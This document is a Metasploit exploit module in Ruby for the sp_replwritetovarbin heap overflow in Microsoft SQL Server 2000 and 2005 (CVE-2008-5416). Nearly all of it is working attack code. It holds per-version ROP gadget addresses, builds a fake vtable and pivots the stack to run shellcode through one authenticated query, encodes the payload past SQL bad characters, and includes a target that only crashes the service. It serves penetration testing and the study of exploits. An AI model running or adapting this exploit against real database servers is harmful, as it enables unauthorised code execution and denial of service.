480 lines
18 KiB
Ruby
480 lines
18 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::MSSQL
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft SQL Server sp_replwritetovarbin Memory Corruption',
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'Description' => %q{
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A heap-based buffer overflow can occur when calling the undocumented
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"sp_replwritetovarbin" extended stored procedure. This vulnerability affects
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all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database,
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and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004.
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Microsoft patched this vulnerability in SP3 for 2005 without any public
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mention.
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An authenticated database session is required to access the vulnerable code.
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That said, it is possible to access the vulnerable code via an SQL injection
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vulnerability.
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This exploit smashes several pointers, as shown below.
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1. pointer to a 32-bit value that is set to 0
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2. pointer to a 32-bit value that is set to a length influcenced by the buffer
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length.
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3. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000,
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this value is referenced with a displacement of 0x38. For MSSQL 2005, the
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displacement is 0x10. The address of our buffer is conveniently stored in
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ecx when this instruction is executed.
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4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with
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a displacement of 4. This pointer is not used by this exploit.
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This particular exploit replaces the previous dual-method exploit. It uses
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a technique where the value contained in ecx becomes the stack. From there,
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return oriented programming is used to normalize the execution state and
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finally execute the payload via a "jmp esp". All addresses used were found
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within the sqlservr.exe memory space, yielding very reliable code execution
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using only a single query.
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NOTE: The MSSQL server service does not automatically restart by default. That
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said, some exceptions are caught and will not result in terminating the process.
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If the exploit crashes the service prior to hijacking the stack, it won't die.
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Otherwise, it's a goner.
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},
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'Author' => [ 'jduck' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '50589' ],
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[ 'CVE', '2008-5416' ],
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[ 'BID', '32710' ],
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[ 'MSB', 'MS09-004' ],
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[ 'EDB', '7501' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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},
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'Payload' =>
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{
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'Space' => 512,
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'BadChars' => "", # bad bytes get encoded!
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'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff",
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'DisableNops' => true
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},
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'Platform' => 'win',
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'Privileged' => true,
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'Targets' =>
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[
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# auto targeting!
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[ 'Automatic', { } ],
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#
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# Individual targets
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#
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[
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# Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
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# Aug 6 2000 00:57:48
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'MSSQL 2000 / MSDE SP0 (8.00.194)',
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{
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'Num' => 32, # value for "start_offset"
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'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
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'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
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'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
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'Vtable' => 0x00a87f26, # becomes eax for [eax+0x38] (must be valid to exec)
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'FixDisp' => 0x6900a7, # not directly used - call [ecx+0x08]
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'Disp' => 0x08, # displacement on call [ecx+disp] used
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'ecx2esp' => 0x0041b78f, # xchg ecx,esp / sbb [eax],al / pop esi / ret
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'Popped' => 0x4, # byte count popped in above (before ret)
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'Offset' => 0x28, # offset to the new stack!
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'FixESP' => 0x0071f5fb, # advance esp to next ret (add esp,0x20 / ret)
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'Ret' => 0x0041c9a2 # jmp esp
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},
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],
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[
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# Microsoft SQL Server 2000 - 8.00.384 (Intel X86)
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# May 23 2001 00:02:52
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'MSSQL 2000 / MSDE SP1 (8.00.384)',
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{
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'Num' => 32, # value for "start_offset"
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'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
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'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
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'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
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'Vtable' => 0x00a95b2f, # becomes eax for [eax+0x38] (must be valid to exec)
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'FixDisp' => 0x4b4f00, # not directly used - call [ecx-0x18]
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'Disp' => 0x34, # displacement on call [ecx+disp] used
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'ecx2esp' => 0x0044d300, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret
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'Popped' => 0x8, # byte count popped in above (before ret)
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'Offset' => 0x28, # offset to the new stack!
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'FixESP' => 0x004a2ce9, # advance esp to next ret (add esp,0x1c / ret)
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'Ret' => 0x004caa15 # jmp esp
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},
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],
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[
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# Microsoft SQL Server 2000 - 8.00.534 (Intel X86)
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# Nov 19 2001 13:23:50
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'MSSQL 2000 / MSDE SP2 (8.00.534)',
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{
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'Num' => 32, # value for "start_offset"
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'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
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'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
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'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
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'Vtable' => 0x00a64f7e, # becomes eax for [eax+0x38] (must be valid to exec)
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'FixDisp' => 0x660077, # not directly used - call [ecx-0x18]
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'Disp' => 0x34, # displacement on call [ecx+disp] used
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'ecx2esp' => 0x0054131c, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret
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'Popped' => 0x8, # byte count popped in above (before ret)
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'Offset' => 0x28, # offset to the new stack!
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'FixESP' => 0x005306a0, # advance esp to next ret (add esp,0x1c / ret)
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'Ret' => 0x004ca984 # jmp esp
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},
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],
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[
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# Microsoft SQL Server 2000 - 8.00.760 (Intel X86)
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# Dec 17 2002 14:22:05
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'MSSQL 2000 / MSDE SP3 (8.00.760)',
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{
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'Num' => 32, # value for "start_offset"
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'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
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'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
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'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
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'Vtable' => 0x00ac344e, # becomes eax for [eax+0x38] (must be valid to exec)
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'FixDisp' => 0x490074, # not directly used - call [ecx+0x14]
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'Disp' => 0x34, # displacement on call [ecx+disp] used
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'ecx2esp' => 0x00454303, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret
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'Popped' => 0x8, # byte count popped in above (before ret)
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'Offset' => 0x28, # offset to the new stack!
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'FixESP' => 0x00503413, # advance esp to next ret (add esp,0x20 / ret)
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'Ret' => 0x0043fa97 # jmp esp
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},
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],
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[
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# Microsoft SQL Server 2000 - 8.00.2039 (Intel X86)
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# May 3 2005 23:18:38
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'MSSQL 2000 / MSDE SP4 (8.00.2039)',
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{
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'Num' => 32, # value for "start_offset"
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'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
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'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
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'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
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'Vtable' => 0x0046592e, # becomes eax for [eax+0x38] (must be valid to exec)
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'FixDisp' => 0x69f5e8, # not directly used - call [ecx+0x14]
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'Disp' => 0x14, # displacement on call [ecx+disp] used
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'ecx2esp' => 0x007b39a8, # push ecx / pop esp / mov ax,[eax+0x18] / mov [ecx+0x62],ax / pop ebp / ret 0x4
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'Popped' => 0x4, # byte count popped in above (before ret)
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'Offset' => 0x20, # offset to the new stack!
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'FixESP' => 0x00b3694d, # advance esp to next ret (add esp,0x20 / ret)
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'Ret' => 0x0047c89d # jmp esp
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},
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],
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[
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# Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
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# Oct 14 2005 00:33:37
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'MSSQL 2005 SP0 (9.00.1399.06)',
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{
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'Num' => 32, # value for "start_offset"
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'VtOff' => 63, # offset from 'Num' to smashed vtable ptr
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'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash
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'Writable' => 0x53ad5330, # any writable addr (not even necessary really)
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'Vtable' => 0x02201ca8, # becomes eax for [eax+0x38] (must be valid to exec)
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'FixDisp' => 0x10e860f, # not directly used - call [ecx+0x14]
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'Disp' => 0x50, # displacement on call [ecx+disp] used
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'ecx2esp' => 0x0181c0d4, # push ecx / pop esp / pop ebp / ret
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'Popped' => 0x4, # byte count popped in above (before ret)
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'Offset' => 0x20, # offset to the new stack!
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'FixESP' => 0x0147deb7, # advance esp to next ret (add esp,0x10 / ret)
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'Ret' => 0x0112c2c7 # jmp esp
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},
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],
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[
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# Microsoft SQL Server 2005 - 9.00.2047.00 (Intel X86)
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# Apr 14 2006 01:12:25
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'MSSQL 2005 SP1 (9.00.2047.00)',
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{
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'Num' => 32, # value for "start_offset"
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'VtOff' => 63, # offset from 'Num' to smashed vtable ptr
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'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash
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'Writable' => 0x53ad5330, # any writable addr (not even necessary really)
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'Vtable' => 0x0244c803, # becomes eax for [eax+0x38] (must be valid to exec)
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'FixDisp' => 0x17139e9, # not directly used - call [ecx+0x14]
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'Disp' => 0x52, # displacement on call [ecx+disp] used
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'ecx2esp' => 0x0183bf9c, # push ecx / pop esp / pop ebp / ret
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'Popped' => 0x4, # byte count popped in above (before ret)
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'Offset' => 0x20, # offset to the new stack!
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'FixESP' => 0x014923c1, # advance esp to next ret (add esp,0x10 / ret)
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'Ret' => 0x011b204c # jmp esp
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},
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],
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[
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# Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86)
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# Feb 9 2007 22:47:07
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'MSSQL 2005 SP2 (9.00.3042.00)',
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{
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'Num' => 32, # value for "start_offset"
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'VtOff' => 63, # offset from 'Num' to smashed vtable ptr
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'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash
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'Writable' => 0x53ad5330, # any writable addr (not even necessary really)
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'Vtable' => 0x027fca52, # becomes eax for [eax+0x38] (must be valid to exec)
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'FixDisp' => 0x1106d6b, # not directly used - call [ecx+0x14]
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'Disp' => 0x52, # displacement on call [ecx+disp] used
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'ecx2esp' => 0x01849641, # push ecx / pop esp / pop ebp / ret
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'Popped' => 0x4, # byte count popped in above (before ret)
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'Offset' => 0x20, # offset to the new stack!
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'FixESP' => 0x01498b22, # advance esp to next ret (add esp,0x10 / ret)
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'Ret' => 0x010a5379 # jmp esp
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},
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],
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[ 'CRASHER', { } ]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Dec 09 2008'
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))
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end
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def check
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# the ping to port 1434 method has two drawbacks...
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# #1, it doesn't work on mssql 2005 or newer (localhost only listening)
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# #2, it doesn't give an accurate version number (sp/os)
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# since we need to have credentials for this vuln, we just login and run a query
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# to get the version information
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if not (version = mssql_query_version())
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return Exploit::CheckCode::Safe
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end
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print_status("@@version returned:\n\t" + version)
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# Any others?
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return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.194/)
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return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.384/)
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return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.534/)
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return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.760/)
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return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.2039/)
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return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.1399\.06/)
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return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.2047\.00/)
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return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.3042\.00/)
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return Exploit::CheckCode::Safe
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end
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def exploit
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mytarget = nil
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if target.name =~ /Automatic/
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print_status("Attempting automatic target detection...")
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version = mssql_query_version
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fail_with(Exploit::Failure::NoAccess, "Unable to retrieve version information") if not version
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if (version =~ /8\.00\.194/)
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mytarget = targets[1]
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elsif (version =~ /8\.00\.384/)
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mytarget = targets[2]
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elsif (version =~ /8\.00\.534/)
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mytarget = targets[3]
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elsif (version =~ /8\.00\.760/)
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mytarget = targets[4]
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elsif (version =~ /8\.00\.2039/)
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mytarget = targets[5]
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elsif (version =~ /9\.00\.1399\.06/)
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mytarget = targets[6]
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elsif (version =~ /9\.00\.2047\.00/)
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mytarget = targets[7]
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elsif (version =~ /9\.00\.3042\.00/)
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mytarget = targets[8]
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end
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if mytarget.nil?
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fail_with(Exploit::Failure::NoTarget, "Unable to determine target")
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else
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print_status("Automatically detected target \"#{mytarget.name}\"")
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end
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else
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mytarget = target
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end
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sqlquery = %Q|declare @i int,@z nvarchar(4000)
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set @z='declare @e int,@b varbinary,@l int;'
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set @z=@z+'exec sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'',@l,@l,@l,@l,@l,@l,@l,@l'
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exec sp_executesql @z|
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# just crash it with a pattern buffer if the CRASHER target is selected..
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if mytarget.name == 'CRASHER'
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sploit = Rex::Text.pattern_create(2048)
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print_status("Attempting to corrupt memory to cause an exception!")
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num = 32
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else
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# trigger the memory corruption
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num = mytarget['Num']
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vt_off = mytarget['VtOff']
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vt_disp = mytarget['VtDisp']
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vtable = mytarget['Vtable']
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ecx_disp = mytarget['Disp']
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esp_off = mytarget['Offset']
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hijack_esp = mytarget['ecx2esp']
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first_esp = mytarget['Popped']
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fix_esp = mytarget['FixESP']
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writable = mytarget['Writable']
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corruptable_bytes = 0x44
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# make sploit buff
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sz = (num + vt_off) + esp_off + (2 + corruptable_bytes) + payload.encoded.length
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#sploit = Rex::Text.pattern_create(sz)
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sploit = rand_text_alphanumeric(sz)
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# remove displacement! (using call [ecx+displacement])
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vtable_off = (num + vt_off)
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sploit[vtable_off,4] = [(vtable - vt_disp)].pack('V')
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# stack -> heap
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hijack_off = vtable_off + ecx_disp
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sploit[hijack_off,4] = [hijack_esp].pack('V')
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# becomes eax on mssql 2ksp4 (prevent crash)
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sploit[(vtable_off-4),4] = [writable].pack('V')
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# becomes eip after esp hijack
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fixesp_off = vtable_off + first_esp
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sploit[fixesp_off,4] = [fix_esp].pack('V')
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# rest of magic stack (disable DEP?)
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stack_off = vtable_off + esp_off
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stack = []
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stack << mytarget['Ret']
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stack = stack.pack('V*')
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# jump over the stuff that gets corrupted
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stack << "\xeb" + [corruptable_bytes].pack('C')
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stack << rand_text_alphanumeric(corruptable_bytes)
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stack << payload.encoded
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sploit[stack_off,stack.length] = stack
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# this has to be put in after the stack area since the ptr for sql2k sp1 is in the corrupted stuff
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sploit[hijack_off,4] = [hijack_esp].pack('V')
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print_status("Redirecting flow to %#x via call to our faked vtable ptr @ %#x" % [mytarget['FixDisp'], vtable])
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end
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# encode chars that get modified
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enc = mssql_encode_string(sploit)
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# put the number in (start offset)
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runme = sqlquery.gsub(/%NUM%/, num.to_s)
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runme.gsub!(/%STUFF%/, enc)
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# go!
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if (not mssql_login_datastore)
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fail_with(Exploit::Failure::NoAccess, "Unable to log in!")
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end
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begin
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mssql_query(runme, datastore['VERBOSE'])
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rescue ::Errno::ECONNRESET, EOFError
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print_error("Error: #{$!}")
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end
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handler
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disconnect
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end
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def mssql_str_to_chars(str)
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ret = ""
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str.unpack('C*').each do |ch|
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ret += "+" if ret.length > 0
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ret += "char("
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ret << ch.to_s
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ret += ")"
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end
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return ret
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end
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def mssql_encode_string(str)
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badchars = "\x00\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f"
|
|
|
|
enc = ""
|
|
in_str = true
|
|
str.unpack('C*').each do |ch|
|
|
# double-double single quotes
|
|
if ch == 0x27
|
|
if not in_str
|
|
enc << "+'"
|
|
in_str = true
|
|
end
|
|
enc << ch.chr * 4
|
|
next
|
|
end
|
|
|
|
# double backslashes
|
|
if ch == 0x5c
|
|
if not in_str
|
|
enc << "+'"
|
|
in_str = true
|
|
end
|
|
enc << ch.chr * 2
|
|
next
|
|
end
|
|
|
|
# convert any bad stuff to char(0xXX)
|
|
if ((idx = badchars.index(ch.chr)))
|
|
enc << "'" if in_str
|
|
enc << "+char(0x%x)" % ch
|
|
in_str = false
|
|
else
|
|
enc << "+'" if not in_str
|
|
enc << ch.chr
|
|
in_str = true
|
|
end
|
|
end
|
|
enc << "+'" if not in_str
|
|
return enc
|
|
end
|
|
|
|
|
|
def mssql_query_version
|
|
begin
|
|
logged_in = mssql_login_datastore
|
|
rescue ::Rex::ConnectionError, ::Errno::ECONNRESET, ::Errno::EINTR
|
|
return nil
|
|
end
|
|
|
|
if (not logged_in)
|
|
fail_with(Exploit::Failure::NoAccess, "Invalid SQL Server credentials")
|
|
end
|
|
res = mssql_query("select @@version", datastore['VERBOSE'])
|
|
disconnect
|
|
|
|
return nil if not res
|
|
if res[:errors] and not res[:errors].empty?
|
|
errstr = ""
|
|
res[:errors].each do |err|
|
|
errstr << err
|
|
end
|
|
fail_with(Exploit::Failure::Unknown, errstr)
|
|
end
|
|
|
|
if not res[:rows] or res[:rows].empty?
|
|
return nil
|
|
end
|
|
|
|
return res[:rows][0][0]
|
|
end
|
|
|
|
end
|